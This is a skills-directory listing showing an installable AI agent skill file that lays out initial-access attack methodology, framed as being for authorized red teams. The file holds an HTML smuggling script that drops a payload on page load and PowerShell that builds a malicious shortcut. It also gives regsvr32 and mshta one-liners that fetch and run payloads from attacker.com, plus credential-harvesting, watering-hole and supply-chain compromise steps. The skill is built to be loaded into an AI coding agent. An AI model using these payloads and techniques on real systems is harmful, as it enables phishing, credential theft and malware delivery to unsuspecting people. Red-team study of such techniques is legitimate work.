Skip to content
Back to skills

Initial Access

ASecurity

Initial access methodology for authorized red team engagements. Covers phishing, payload delivery, drive-by compromise, supply chain entry points, and living-off-the-land initial access techniques.

  • 5 stars
  • 0 votes
  • 0 copies
  • 1 view
  • Added September 25, 2026
ai-agentsjavascriptgojavashellgit

Works with

  • cli

Security analysis

A100/100

Scanned September 25, 2026

npx -y skills add sunilgentyala/OmniRed --skill initial-access --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Initial Access?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Initial Access
[![Security: A — Skills Directory](https://www.skillsdirectory.com/api/skills/sunilgentyala-initial-access/badge)](https://www.skillsdirectory.com/skills/sunilgentyala-initial-access)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: initial-access
description: Initial access methodology for authorized red team engagements. Covers phishing, payload delivery, drive-by compromise, supply chain entry points, and living-off-the-land initial access techniques.
version: 1.0.0
license: Apache-2.0
---

# Initial Access

## Phishing — Email

### Payload types (in order of detection likelihood)

```
1. Macro-enabled Office documents (.xlsm, .docm) — high detection
2. ISO/IMG containers (bypass Mark-of-the-Web) — medium detection
3. HTML smuggling — medium detection
4. LNK files — medium detection
5. PDF with embedded link — lower detection
6. QR code phishing (to mobile) — lowest detection
```

### HTML Smuggling

Deliver payload via JavaScript blob — bypasses email gateways that don't execute JS:

```html
<script>
function d() {
    var data = atob("[BASE64_PAYLOAD]");
    var blob = new Blob([data], {type: 'application/octet-stream'});
    var url = window.URL.createObjectURL(blob);
    var a = document.createElement('a');
    a.href = url;
    a.download = 'update.iso';
    a.click();
}
</script>
<body onload="d()">
```

### LNK Payload

```powershell
# Create malicious LNK
$lnk = (New-Object -ComObject WScript.Shell).CreateShortcut("$env:TEMP\Update.lnk")
$lnk.TargetPath = "C:\Windows\System32\cmd.exe"
$lnk.Arguments = "/c powershell -w hidden -ep bypass -c [payload]"
$lnk.IconLocation = "C:\Windows\System32\shell32.dll,3"
$lnk.Save()
```

## Phishing — Web (Drive-by)

```
Credential harvesting site:
1. Clone target's login page (SET / evilginx2)
2. Send link via spearphishing
3. Harvest credentials in real time

Browser-in-the-Browser (BitB):
1. Overlay a fake browser popup simulating SSO login
2. Capture credentials before they reach the real SSO provider
```

## Watering Hole

1. Identify websites frequently visited by target employees (industry forums, tools, regional news)
2. Compromise one of those sites
3. Inject exploit code or credential-harvesting redirect
4. Wait for target employees to visit

## Supply Chain Entry

```
1. Compromise a software vendor used by the target
2. Inject payload into software update
3. Target deploys "legitimate" update
4. Payload executes with software's privileges
```

## Initial Execution (post-delivery)

```powershell
# Macro-free execution via PowerShell
powershell -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand [BASE64]

# Regsvr32 (squiblydoo)
regsvr32 /s /n /u /i:http://attacker.com/payload.sct scrobj.dll

# MSHTA
mshta http://attacker.com/payload.hta
```

## Tools

- [GoPhish](https://github.com/gophish/gophish) — phishing campaign management
- [Evilginx2](https://github.com/kgretzky/evilginx2) — adversary-in-the-middle phishing
- [msfvenom](https://metasploit.com) — payload generation
- [Donut](https://github.com/TheWover/donut) — shellcode generation from .NET

## MITRE ATT&CK

- T1566 — Phishing
- T1189 — Drive-by Compromise
- T1195 — Supply Chain Compromise

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.